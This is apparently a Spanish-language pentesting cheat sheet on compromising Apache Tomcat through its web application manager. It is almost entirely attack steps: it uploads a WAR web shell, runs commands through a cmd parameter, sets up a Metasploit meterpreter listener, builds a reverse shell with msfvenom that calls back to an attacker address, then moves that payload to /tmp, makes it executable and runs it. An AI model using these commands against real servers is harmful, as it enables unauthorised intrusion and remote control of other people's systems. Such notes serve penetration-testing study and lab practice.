80/TCP, 443/TCP (HTTP/S)

HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure.

Apache Tomcat

Ruta de "Tomcat web application manager".

http://<IP-address>:<port>/manager/

Subir web shell en formato war.

• https://github.com/MrW0l05zyn/pentesting/blob/master/web/shells/web-shell.war

http://<IP-address>:<port>/web-shell/
http://<IP-address>:<port>/web-shell/index.jsp?cmd=whoami

Configuración de listener en Metasploit.

use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost <attacker-IP-address>
set lport <listen-port>
run

Generar y subir reverse shell reverse-shell.war en máquina victima desde "Tomcat web application manager".

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f elf -o reverse-shell.war

Desde la web shell mover reverse shell reverse-shell.war a directorio tmp y asignar privilegios de ejecución.

ls -la /var/lib/tomcat8/webapps
mv /var/lib/tomcat8/webapps/reverse-shell.war /tmp/reverse-shell
ls /tmp/reverse-shell
chmod +x /tmp/reverse-shell

Ejecutar desde la web shell la reverse shell.

/tmp/reverse-shell